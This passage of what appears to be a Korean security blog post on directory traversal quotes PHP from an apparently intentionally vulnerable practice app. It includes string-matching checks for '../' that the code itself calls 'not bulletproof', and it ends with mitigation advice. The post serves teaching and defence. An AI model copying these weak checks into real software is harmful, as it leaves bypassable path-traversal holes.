                }

                else
                {

                    echo $directory_traversal_error;

                }

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

            default :           

                show_file($file);

                // Debugging
                // echo "<br />" . $_GET["page"];

                break;

        }

    }

    ?>
    
    <하략>

functions_external.php 내용

<중략>

function directory_traversal_check_1($data)
{

    // Not bulletproof
    
    $directory_traversal_error = "";  
    
    // Searches for special characters in the GET parameter
    if(strpos($data, "../") !== false ||
       strpos($data, "..\\") !== false ||
       strpos($data, "/..") !== false ||
       strpos($data, "\..") !== false)
            
    {

        $directory_traversal_error = "Directory Traversal detected!";
    
    }
    
    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

function directory_traversal_check_2($data)
{

    // Not bulletproof
    
    $directory_traversal_error = "";  
    
    // Searches for special characters in the GET parameter
    if(strpos($data, "../") !== false ||
       strpos($data, "..\\") !== false ||
       strpos($data, "/..") !== false ||
       strpos($data, "\..") !== false ||
       strpos($data, ".") !== false)
            
    {

        $directory_traversal_error = "Directory Traversal detected!";
    
    }
    
    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

function directory_traversal_check_3($user_path,$base_path = "")
{
    
    $directory_traversal_error = "";
    
    $real_base_path = realpath($base_path);

    // echo "base path: " . $base_path . " real base path: " . $real_base_path . "<br />";

    $real_user_path = realpath($user_path);

    // echo "user path: " . $user_path . " real user path: " . $real_user_path . "<br />";

    // int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
    // URL: http://php.net/manual/en/function.strpos.php
    if(strpos($real_user_path, $real_base_path) === false)
    {
    
        $directory_traversal_error = "<font color=\"red\">An error occurred, please try again.</font>";
    
    }

    /*
    else
    {
    
        echo "Good path!";
    
    }     
     */
    
    return $directory_traversal_error;

}

<하략>

3. 대응방안

- 보안장비 패턴(ex ../ 및 해당 문자열 인코딩 값) 등록 후 탐지 및 차단
- 입력값 검증 및 권한 검증 수행
- 해당 서버가 Apache일 경우 "conf/httpd.conf"에 모든 디렉토리 Options 지시자의 'Indexes'를 제거.

+ Recent posts